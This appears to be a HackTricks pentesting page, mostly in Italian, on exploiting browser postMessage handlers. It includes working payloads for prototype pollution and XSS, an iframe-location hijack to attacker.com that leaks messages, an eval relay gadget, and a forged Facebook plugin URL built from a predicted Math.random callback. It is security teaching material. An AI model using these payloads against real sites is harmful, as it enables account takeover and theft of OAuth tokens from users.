PostMessage Vulnerabilità
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
Invio di PostMessage
PostMessage usa la seguente funzione per inviare un messaggio:
targetWindow.postMessage(message, targetOrigin, [transfer]);
# postMessage to current page
window.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an iframe with id "idframe"
<iframe id="idframe" src="http://victim.com/"></iframe>
document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an iframe via onload
<iframe src="https://victim.com/" onload="this.contentWindow.postMessage('<script>print()</script>','*')">
# postMessage to popup
win = open('URL', 'hack', 'width=800,height=300,top=500');
win.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an URL
window.postMessage('{"__proto__":{"isAdmin":True}}', 'https://company.com')
# postMessage to iframe inside popup
win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
## loop until win.length == 1 (until the iframe is loaded)
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')
Nota che targetOrigin può essere ‘*’ o un URL come https://company.com.
Nel secondo scenario, il messaggio può essere inviato solo a quel dominio (anche se l’origin dell’oggetto Window è diverso).
Se viene usato il wildcard, i messaggi potrebbero essere inviati a qualsiasi dominio, e saranno inviati all’origin dell’oggetto Window.
Attaccare iframe & wildcard in targetOrigin
Come spiegato in this report se trovi una pagina che può essere iframed (no X-Frame-Header protection) e che sta inviando messaggi sensibili via postMessage usando un wildcard (*), puoi modificare l’origin dell’iframe e leak il messaggio sensibile a un dominio controllato da te.
Nota che se la pagina può essere iframed ma il targetOrigin è impostato su un URL e non su un wildcard, questo trucco non funzionerà.
<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
setTimeout(exp, 6000); //Wait 6s
//Try to change the origin of the iframe each 100ms
function exp(){
setInterval(function(){
window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
}, 100);
}
</script>
addEventListener exploitation
addEventListener è la funzione usata da JS per dichiarare la funzione che si aspetta postMessages.
Verrà usato un codice simile al seguente:
window.addEventListener(
"message",
(event) => {
if (event.origin !== "http://example.org:8080") return
// ...
},
false
)
Note in this case how the first thing that the code is doing is checking the origin. This is terribly important mainly if the page is going to do anything sensitive with the received information (like changing a password). If it doesn’t check the origin, attackers can make victims send arbitrary data to this endpoints and change the victims passwords (in this example).
Enumeration
In order to find event listeners in the current page you can:
- Search the JS code for
window.addEventListenerand$(window).on(JQuery version) - Execute in the developer tools console:
getEventListeners(window)
 (1).png)
- Go to Elements –> Event Listeners in the developer tools of the browser
.png)
- Use a browser extension like https://github.com/benso-io/posta or https://github.com/fransr/postMessage-tracker. This browser extensions will intercept all the messages and show them to you.
Origin check bypasses
event.isTrustedattribute is considered secure as it returnsTrueonly for events that are generated by genuine user actions. Though it’s challenging to bypass if implemented correctly, its significance in security checks is notable.- The use of
indexOf()for origin validation in PostMessage events may be susceptible to bypassing. An example illustrating this vulnerability is:
"https://app-sj17.marketo.com".indexOf("https://app-sj17.ma")
- The
search()method fromString.prototype.search()is intended for regular expressions, not strings. Passing anything other than a regexp leads to implicit conversion to regex, making the method potentially insecure. This is because in regex, a dot (.) acts as a wildcard, allowing for bypassing of validation with specially crafted domains. For instance:
"https://www.safedomain.com".search("www.s.fedomain.com")
-
The
match()function, similar tosearch(), processes regex. If the regex is improperly structured, it might be prone to bypassing. -
The
escapeHtmlfunction is intended to sanitize inputs by escaping characters. However, it does not create a new escaped object but overwrites the properties of the existing object. This behavior can be exploited. Particularly, if an object can be manipulated such that its controlled property does not acknowledgehasOwnProperty, theescapeHtmlwon’t perform as expected. This is demonstrated in the examples below: -
Expected Failure:
result = u({
message: "'\"<b>\\",
})
result.message // "'"<b>\"
- Bypassing the escape:
result = u(new Error("'\"<b>\\"))
result.message // "'"<b>\"
In the context of this vulnerability, the File object is notably exploitable due to its read-only name property. This property, when used in templates, is not sanitized by the escapeHtml function, leading to potential security risks.
- The
document.domainproperty in JavaScript can be set by a script to shorten the domain, allowing for more relaxed same-origin policy enforcement within the same parent domain.
Origin-only trust + trusted relays
If a receiver only checks event.origin (e.g., trusts any *.trusted.com) you can often find a “relay” page on that origin that echoes attacker-controlled params via postMessage to a supplied targetOrigin/targetWindow. Examples include marketing/analytics gadgets that take query params and forward {msg_type, access_token, ...} to opener/parent. You can:
- Open the victim page in a popup/iframe that has an
openerso its handlers register (many pixels/SDKs only attach listeners whenwindow.openerexists). - Navigate another attacker window to the relay endpoint on the trusted origin, populating message fields you want injected (message type, tokens, nonces).
- Because the message now comes from the trusted origin, origin-only validation passes and you can trigger privileged behaviors (state changes, API calls, DOM writes) in the victim listener.
Abuse patterns seen in the wild:
- Analytics SDKs (e.g., pixel/fbevents-style) consume messages like
FACEBOOK_IWL_BOOTSTRAP, then call backend APIs using a token supplied in the message and includelocation.href/document.referrerin the request body. If you supply your own token, you can read these requests in the token’s request history/logs and exfil OAuth codes/tokens present in the URL/referrer of the victim page. - Any relay that reflects arbitrary fields into
postMessagelets you spoof message types expected by privileged listeners. Combine with weak input validation to reach Graph/REST calls, feature unlocks, or CSRF-equivalent flows.
Hunting tips: enumerate postMessage listeners that only check event.origin, then look for same-origin HTML/JS endpoints that forward URL params via postMessage (marketing previews, login popups, OAuth error pages). Stitch both together with window.open() + postMessage to bypass origin checks.
e.origin == window.origin bypass
When embedding a web page within a sandboxed iframe using %%%%%%, it’s crucial to understand that the iframe’s origin will be set to null. This is particularly important when dealing with sandbox attributes and their implications on security and functionality.
By specifying allow-popups in the sandbox attribute, any popup window opened from within the iframe inherits the sandbox restrictions of its parent. This means that unless the allow-popups-to-escape-sandbox attribute is also included, the popup window’s origin is similarly set to null, aligning with the iframe’s origin.
Consequently, when a popup is opened under these conditions and a message is sent from the iframe to the popup using postMessage, both the sending and receiving ends have their origins set to null. This situation leads to a scenario where e.origin == window.origin evaluates to true (null == null), because both the iframe and the popup share the same origin value of null.
For more information read:
Bypassing SOP with Iframes - 1
Bypassing e.source
It’s possible to check if the message came from the same window the script is listening in (specially interesting for Content Scripts from browser extensions to check if the message was sent from the same page):
// If it’s not, return immediately.
if (received_message.source !== window) {
return
}
Puoi forzare e.source di un messaggio a null creando un iframe che invia il postMessage ed è immediatamente eliminato.
Per maggiori informazioni leggi:
Bypassing SOP with Iframes - 2
X-Frame-Header bypass
Per eseguire questi attacchi idealmente sarai in grado di inserire la pagina web della vittima dentro un iframe. Ma alcuni header come X-Frame-Header possono impedire quel comportamento.
In questi scenari puoi comunque usare un attacco meno stealthy. Puoi aprire una nuova scheda verso l’applicazione web vulnerabile e comunicare con essa:
<script>
var w=window.open("<url>")
setTimeout(function(){w.postMessage('text here','*');}, 2000);
</script>
Rubare il messaggio inviato al child bloccando la pagina principale
Nella pagina seguente puoi vedere come potresti rubare dei dati postmessage sensibili inviati a un child iframe bloccando la main page prima dell’invio dei dati e sfruttando una XSS in the child per leak the data prima che vengano ricevuti:
Blocking main page to steal postmessage
Rubare il messaggio modificando la location dell’iframe
Se puoi iframare una pagina web senza X-Frame-Header che contiene un altro iframe, puoi modificare la location di quel child iframe, quindi se sta ricevendo un postmessage inviato usando un wildcard, un attacker potrebbe cambiare l’origin di quell’iframe verso una pagina controlled da lui e rubare il messaggio:
Steal postmessage modifying iframe location
postMessage verso Prototype Pollution e/o XSS
In scenari in cui i dati inviati tramite postMessage vengono eseguiti da JS, puoi iframare la pagina e sfruttare la prototype pollution/XSS inviando l’exploit via postMessage.
Un paio di XSS molto ben spiegate tramite postMessage si trovano in https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html
Esempio di exploit per abusare di Prototype Pollution e poi XSS tramite un postMessage a un iframe:
<html>
<body>
<iframe
id="idframe"
src="http://127.0.0.1:21501/snippets/demo-3/embed"></iframe>
<script>
function get_code() {
document
.getElementById("iframe_victim")
.contentWindow.postMessage(
'{"__proto__":{"editedbymod":{"username":"<img src=x onerror=\\"fetch(\'http://127.0.0.1:21501/api/invitecodes\', {credentials: \'same-origin\'}).then(response => response.json()).then(data => {alert(data[\'result\'][0][\'code\']);})\\" />"}}}',
"*"
)
document
.getElementById("iframe_victim")
.contentWindow.postMessage(JSON.stringify("refresh"), "*")
}
setTimeout(get_code, 2000)
</script>
</body>
</html>
Per ulteriori informazioni:
- Link alla pagina su prototype pollution
- Link alla pagina su XSS
- Link alla pagina su client side prototype pollution to XSS
Caricamento di script derivati dall’origine & pivot nella supply-chain (case study CAPIG)
capig-events.js registrava un listener per message solo quando window.opener esisteva. Alla ricezione di IWL_BOOTSTRAP verificava pixel_id ma memorizzava event.origin e successivamente lo usava per costruire ${host}/sdk/${pixel_id}/iwl.js.
Handler che scrive un origin controllato dall'attaccante
```javascript if (window.opener) { window.addEventListener("message", (event) => { if ( !localStorage.getItem("AHP_IWL_CONFIG_STORAGE_KEY") && !localStorage.getItem("FACEBOOK_IWL_CONFIG_STORAGE_KEY") && event.data.msg_type === "IWL_BOOTSTRAP" && checkInList(g.pixels, event.data.pixel_id) !== -1 ) { localStorage.setItem("AHP_IWL_CONFIG_STORAGE_KEY", { pixelID: event.data.pixel_id, host: event.origin, sessionStartTime: event.data.session_start_time, }) startIWL() // loads `${host}/sdk/${pixel_id}/iwl.js` } }) } ```Exploit (origin → script-src pivot):
- Ottieni un opener: ad esempio, in Facebook Android WebView riusa
window.nameconwindow.open(target, name)in modo che la finestra diventi il proprio opener, poi invia un messaggio da un iframe malevolo. - Invia
IWL_BOOTSTRAPda qualsiasi origin per persisterehost = event.origininlocalStorage. - Ospita
/sdk/<pixel_id>/iwl.jssu qualsiasi origin consentito da CSP (takeover/XSS/upload su un dominio di analytics in whitelist).startIWL()poi carica JS dell’attaccante nel sito che lo embedda (es.,www.meta.com), abilitando chiamate cross-origin con credenziali e account takeover.
Se il controllo diretto dell’opener fosse stato impossibile, compromettere un iframe di terze parti nella pagina permetteva comunque di inviare il postMessage costruito al parent per avvelenare l’host memorizzato e forzare il caricamento dello script.
Backend-generated shared script → stored XSS: il plugin AHPixelIWLParametersPlugin concatenava i parametri delle regole utente nel JS aggiunto a capig-events.js (es., cbq.config.set(...)). L’iniezione di breakouts come "]} inseriva JS arbitrario, creando stored XSS nello script condiviso servito a tutti i siti che lo caricavano.
L’allowlist dei trusted-origin non è un confine
Un controllo severo di event.origin funziona solo se il trusted origin non può eseguire JS dell’attaccante. Quando pagine privilegiate inseriscono iframe di terze parti e assumono che event.origin === "https://partner.com" sia sicuro, qualsiasi XSS in partner.com diventa un ponte verso il parent:
// Parent (trusted page)
window.addEventListener("message", (e) => {
if (e.origin !== "https://partner.com") return
const [type, html] = e.data.split("|")
if (type === "Partner.learnMore") target.innerHTML = html // DOM XSS
})
Pattern di attacco osservato nel mondo reale:
- Exploit XSS in the partner iframe e drop a relay gadget in modo che qualsiasi
postMessagediventi code exec all’interno della trusted origin:
<img src="" onerror="onmessage=(e)=>{eval(e.data.cmd)};">
- From the attacker page, invia JS all’iframe compromesso che inoltra un tipo di messaggio consentito al parent. Il messaggio origina da
partner.com, passa l’allowlist, e trasporta HTML che viene inserito in modo non sicuro:
postMessage({
cmd: `top.frames[1].postMessage('Partner.learnMore|<img src="" onerror="alert(document.domain)">|b|c', '*')`
}, "*")
- Il parent inietta l’HTML dell’attaccante, ottenendo esecuzione JS nell’origin del parent (es.
facebook.com), che può quindi essere usata per rubare codici OAuth o pivotare verso flussi di full account takeover.
Key takeaways:
- Partner origin isn’t a boundary: qualsiasi XSS in un partner “trusted” consente agli attaccanti di inviare messaggi consentiti che bypassano i controlli su
event.origin. - I handler che renderizzano payload controllati dal partner (es.
innerHTMLsu specifici tipi di message) trasformano la compromissione del partner in una DOM XSS nello stesso origin. - Una vasta message surface (molti tipi, nessuna validazione della struttura) offre più gadget per pivotare una volta che un iframe partner è compromesso.
Predicting Math.random() callback tokens in postMessage bridges
Quando la validazione dei messaggi usa un “shared secret” generato con Math.random() (es. guid() { return "f" + (Math.random() * (1<<30)).toString(16).replace(".", "") }) e lo stesso helper nomina anche gli iframe dei plugin, puoi recuperare gli output del PRNG e forgiare messaggi trusted:
- Leak PRNG outputs via
window.name: The SDK auto-names plugin iframes withguid(). If you control the top frame, iframe the victim page, then navigate the plugin iframe to your origin (e.g.,window.frames[0].frames[0].location='https://attacker.com') and readwindow.frames[0].frames[0].nameto obtain a rawMath.random()output. - Forzare più output senza reload: Alcuni SDK espongono un percorso di reinit; nell’FB SDK, sparare
init:postcon{xfbml:1}forzaXFBML.parse(), distrugge/ricrea il plugin iframe e genera nuovi nomi/ID di callback. Reinit ripetuti producono tanti output PRNG quanti servono (attenzione a chiamate interne addizionali aMath.random()per callback/iframe ID, quindi è necessario saltare i valori intermedi). - Trusted-origin delivery via parameter pollution: Se un endpoint plugin first-party riflette un parametro non sanitizzato nel payload cross-window (es.
/plugins/feedback.php?...%23relation=parent.parent.frames[0]%26cb=PAYLOAD%26origin=TARGET), puoi iniettare&type=...&iconSVG=...preservando l’origin trustedfacebook.com. - Predire il prossimo callback: Converti i nomi degli iframe leakati di nuovo in float in
[0,1)e fornisci diversi valori (anche non consecutivi) a un predictor diMath.randomdi V8 (es. basato su Z3). Genera il prossimoguid()localmente per forgiare il token di callback atteso. - Triggerare il sink: Crea i dati del postMessage in modo che il bridge dispatchi
xd.mpn.setupIconIframee inietti HTML iniconSVG(es. URL-encoded<img src=x onerror=...>), ottenendo una DOM XSS dentro l’origin host; da lì si possono leggere iframe nello stesso origin (OAuth dialogs, arbiters, ecc.). - Framing quirks aiutano: La catena richiede framing. In alcuni webview mobile,
X-Frame-Optionspuò degradare in un non supportatoALLOW-FROMquando è presenteframe-ancestors, e parametri di “compat” possono forzareframe-ancestorspermissivi, abilitando il side channelwindow.name.
Esempio minimo di messaggio contraffatto
// predictedFloat is the solver output for the next Math.random()
const callback = "f" + (predictedFloat * (1 << 30)).toString(16).replace(".", "")
const payload =
callback +
"&type=mpn.setupIconIframe&frameName=x" +
"&iconSVG=%3cimg%20src%3dx%20onerror%3dalert(document.domain)%3e"
const fbMsg = `https://www.facebook.com/plugins/feedback.php?api_key&channel_url=https://staticxx.facebook.com/x/connect/xd_arbiter/?version=42%23relation=parent.parent.frames[0]%26cb=${encodeURIComponent(payload)}%26origin=https://www.facebook.com`
iframe.location = fbMsg // sends postMessage from facebook.com with forged callback
Riferimenti
- https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html
- https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd
- Leaking fbevents: OAuth code exfiltration via postMessage trust leading to Instagram ATO
- Per esercitarsi: https://github.com/yavolo/eventlistener-xss-recon
- CAPIG postMessage origin trust → script loading + stored JS injection
- Self XSS Facebook Payments
- Facebook JavaScript SDK Math.random callback prediction → DOM XSS writeup
- V8 Math.random() state recovery (Z3 predictor)
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.


